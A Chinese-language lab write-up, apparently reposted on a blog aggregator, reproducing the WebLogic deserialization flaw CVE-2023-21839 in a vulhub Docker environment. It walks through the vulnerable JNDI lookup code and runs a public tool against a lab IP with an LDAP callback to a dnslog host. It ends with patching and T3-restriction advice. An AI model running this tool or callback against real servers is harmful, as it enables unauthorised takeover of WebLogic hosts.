Weblogic反序列化(CVE-2023-21839)漏洞复现

这篇具有很好参考价值的文章主要介绍了Weblogic反序列化(CVE-2023-21839)漏洞复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

前言

序列化(Serialization):将对象的状态信息转换为可以存储或传输的形式的过程,一般将对象转换为字节流。序列化时,对象的当前状态被写入到临时或持久性存储区(文件、内存、数据库等)。

反序列化(Deserialization):从序列化的表示形式中提取数据,即把有序字节流恢复为对象的过程

反序列化攻击:攻击者控制了序列化后的数据,将有害数据传递到应用程序代码中,发动针对应用程序的攻击

Weblogic简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。

漏洞详情

由于Weblogic IIOP/T3协议存在缺陷,当IIOP/T3协议开启时,允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存在安全风险的WebLogic Server,漏洞利用成功WebLogic Server可能被攻击者接管执行任意命令导致服务器沦陷或者造成严重的敏感数据泄露。

漏洞影响版本

Weblogic 12.2.1.3.0
Weblogic 12.2.1.4.0
Weblogic 14.1.1.0.0

环境搭建

在vulhub社区更新了此漏洞,直接拉取该环境即可

https://github.com/vulhub/vulhub/tree/master/weblogic/CVE-2023-21839

下载地址:https://github.com/vulhub/vulhub
clone下载项目:git clone https://github.com/vulhub/vulhub.git
cd weblogic  //进入weblogic文件夹
cd CVE-2023-21839  //进入CVE-2023-21839漏洞文件夹
docker-compose up -d //开启漏洞环境,拉取镜像
docker ps  //查看当前docker运行情况,可以看到该漏洞环境已经开启

Weblogic反序列化(CVE-2023-21839)漏洞复现

Weblogic反序列化(CVE-2023-21839)漏洞复现

访问http://your-ip:7001/console,可以看到登录界面

Weblogic反序列化(CVE-2023-21839)漏洞复现

漏洞复现

漏洞解析:
ForeignOpaqueReference是OpaqueReference接口的实现类。在ForeignOpaqueReference类中声明了两个私有变量:jndiEnvironment和remoteJNDIName,同时声明了两个构造方法,在有参构造方法中接收env和remoteJNDIName,并分别赋值给了上面的两个私有类变量。

ForeignOpaqueReference类的getReferent()方法是OpaqueReference接口的实现方法,在getReferent()方法中,retVal = context.lookup(this.remoteJNDIName); 对本类remoteJNDIName变量中的JNDI地址进行远程加载,导致了反序列化漏洞

package weblogic.jndi.internal;
//进入反序列化
public class ForeignOpaqueReference implements OpaqueReference, Serializable {                  
    private Hashtable jndiEnvironment;
    private String remoteJNDIName;
        ......
    public ForeignOpaqueReference(String remoteJNDIName, Hashtable env) {
        this.remoteJNDIName = remoteJNDIName;
        this.jndiEnvironment = env;
    }
    public Object getReferent(Name name, Context ctx) throws NamingException {
        InitialContext context;
        if (this.jndiEnvironment == null) {
            context = new InitialContext();
        } else {
            Hashtable properties = this.decrypt();
            context = new InitialContext(properties);
        }
        Object retVal;
        try {
            retVal = context.lookup(this.remoteJNDIName);   // 漏洞点
        } finally {
            context.close();
        }
        return retVal;
    }
    ......
}

getReferent()调用分析

package weblogic.jndi;
public interface OpaqueReference {
    Object getReferent(Name var1, Context var2) throws NamingException;
    String toString();
}

OpaqueReference 接口有两个抽象方法:getReferent() 和 toString();

ForeignOpaqueReference 类的 getReferent() 方法调用在WLNamingManager类中。

在 WLNamingManager 类的 getObjectInstance() 方法中,当传入的 boundObject 对象实现了 OpaqueReference 接口时,则会调用该对象的 getReferent() 方法,即 boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);。

正如上方提到的 ForeignOpaqueReference 类实现了 OpaqueReference 接口,因此会调用该类中的 getReferent() 方法,导致反序列化代码执行漏洞。

package weblogic.jndi.internal;
public final class WLNamingManager {
    public static Object getObjectInstance(Object boundObject, Name name, Context ctx, Hashtable env) throws NamingException {
        if (boundObject instanceof ClassTypeOpaqueReference) {
                        ......
        } else if (boundObject instanceof OpaqueReference) {
            boundObject = ((OpaqueReference)boundObject).getReferent(name, ctx);
        } else if (boundObject instanceof LinkRef) {
      ...
        }
    }
}

CVE-2023-21839是在反序列化过程中没有进行恶意操作,在完成反序列化过程后执行了漏洞类ForeignOpaqueReference中getReferent()方法中的lookup()才触发的漏洞。
其中,Context的lookup方法是用来查找指定名称的对象的,它接受一个字符串参数,返回一个Object对象,如果没有找到指定名称的对象,则返回null,我们则利用此点触发反序列化漏洞。

这里我直接使用dnslog进行测试

下载漏洞检测工具用于测试是否存在该漏洞
https://github.com/4ra1n/CVE-2023-21839

使用官方提供的工具需要使用go语言编译
cd cmd
go build -o CVE-2023-21839.exe

Weblogic反序列化(CVE-2023-21839)漏洞复现

使用dnslog检测

CVE-2023-21839.exe -ip 192.168.31.230 -port 7001 -ldap ldap://2qdt3z.dnslog.cn

Weblogic反序列化(CVE-2023-21839)漏洞复现

至此,dnslog有回显证明漏洞存在

修复方式

1.下载最新补丁,链接:https://support.oracle.com/rs?type=doc&id=2917213.2
2.限制T3协议访问文章来源地址https://www.toymoban.com/news/detail-470100.html

到了这里,关于Weblogic反序列化(CVE-2023-21839)漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Tomcat Session(CVE-2020-9484)反序列化漏洞复现

            北京时间2020年05月20日,Apache官方发布了 Apache Tomcat 远程代码执行 的风险通告,该漏洞编号为 CVE-2020-9484。 Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用了自带session同步功能时,使用不安全的配置(没有使用

    2024年02月01日
    浏览(42)
  • Weblogic远程代码执行漏洞 CVE-2023-21839

            WebLogic Core远程代码执行漏洞(CVE-2023-21839),该漏洞允许未经身份验证的远程攻击者通过T3/IIOP协议进行 JNDI lookup 操作,破坏易受攻击的WebLogic服务器,成功利用此漏洞可能导致Oracle WebLogic服务器被接管(RCE)或敏感信息泄露。         靶机:kali vullhub docker启动

    2023年04月13日
    浏览(58)
  • Kafka反序列化RCE漏洞(CVE-2023-34040)

    Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录 (record) 指 Kafka 消息中的一条记录。 受影响版本中默认未对记录配置  ErrorHandlingDeserializer ,当用户将容器属性  checkDeserExWhenKeyNull  或  checkDeserExWhenValueNull  设置为

    2024年02月06日
    浏览(36)
  • 【漏洞复现】Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2017-5645 漏洞名称 Log4j Server 反序列化命令执行漏洞 漏洞评级 高危 影响范围 Apache Log4j 2.8.2之前的2.x版本 漏洞描述 修复方案 1.1、漏洞描述 攻击者可以通过发送一个特别制作的2进

    2024年02月05日
    浏览(59)
  • 【中危】Spring Kafka 反序列化漏洞 (CVE-2023-34040)

    zhi.oscs1024.com​​​​​ 漏洞类型 反序列化 发现时间 2023-08-24 漏洞等级 中危 MPS编号 MPS-fed8-ocuv CVE编号 CVE-2023-34040 漏洞影响广度 小 OSCS 描述 Spring Kafka 是 Spring Framework 生态系统中的一个模块,用于简化在 Spring 应用程序中集成 Apache Kafka 的过程,记录(record)指 Kafka 消息中的一

    2024年02月11日
    浏览(49)
  • Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)

    目录 一、漏洞介绍 二、漏洞环境搭建 三、漏洞利用 四、漏洞流量特征: CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。 进入漏洞目录文件,启动漏洞环境:docker-c

    2024年02月16日
    浏览(49)
  • Spring boot使用Kafka Java反序列化漏洞 CVE-2023-34040

    背景:公司项目扫描到 Spring-Kafka上使用通配符模式匹配进行的安全绕过漏洞 CVE-2023-20873 中等风险 | 2023年8月23日 | CVE-2023-34040 在Spring for Apache Kafka 3.0.9及更早版本以及2.9.10及更早版本中,存在可能的反序列化攻击向量,但只有在应用了不常见的配置时才会出现。攻击者必须在

    2024年02月07日
    浏览(50)
  • 【高危】Apache Airflow Spark Provider 反序列化漏洞 (CVE-2023-40195)

    zhi.oscs1024.com​​​​​ 漏洞类型 反序列化 发现时间 2023-08-29 漏洞等级 高危 MPS编号 MPS-qkdx-17bc CVE编号 CVE-2023-40195 漏洞影响广度 广 OSCS 描述 Apache Airflow Spark Provider是Apache Airflow项目的一个插件,用于在Airflow中管理和调度Apache Spark作业。 受影响版本中,由于没有对conn_prefix参

    2024年02月10日
    浏览(36)
  • weblogic反序列化之T3协议 CVE-2015-4582

    weblogic 的反序列化漏洞分为两种 ,一种是基于T3 协议的反序列化漏洞,一个是基于XML的反序列化漏洞,这篇来分析一下基于T3 协议的反序列化漏洞,本文参考了很多师傅的文章,我会贴在最后面。 [JAVA安全]weblogic反序列化介绍及环境搭建_snowlyzz的博客-CSDN博客 https://jitpack.i

    2024年02月04日
    浏览(32)
  • Weblogic反序列化漏洞

    漏洞环境基于vulhub搭建–进入weak_password的docker环境 sudo docker-compose up -d拉取靶场 404特征Weblogic常用端口:7001 任意读取文件、后台getshell,访问/console/login/LoginForm.jsp后缀来到后台管理处 获取用户名密码 http://192.168.25.128:7001/console/login/LoginForm.jsp 使用任意读取文件方式获取用户

    2024年02月09日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包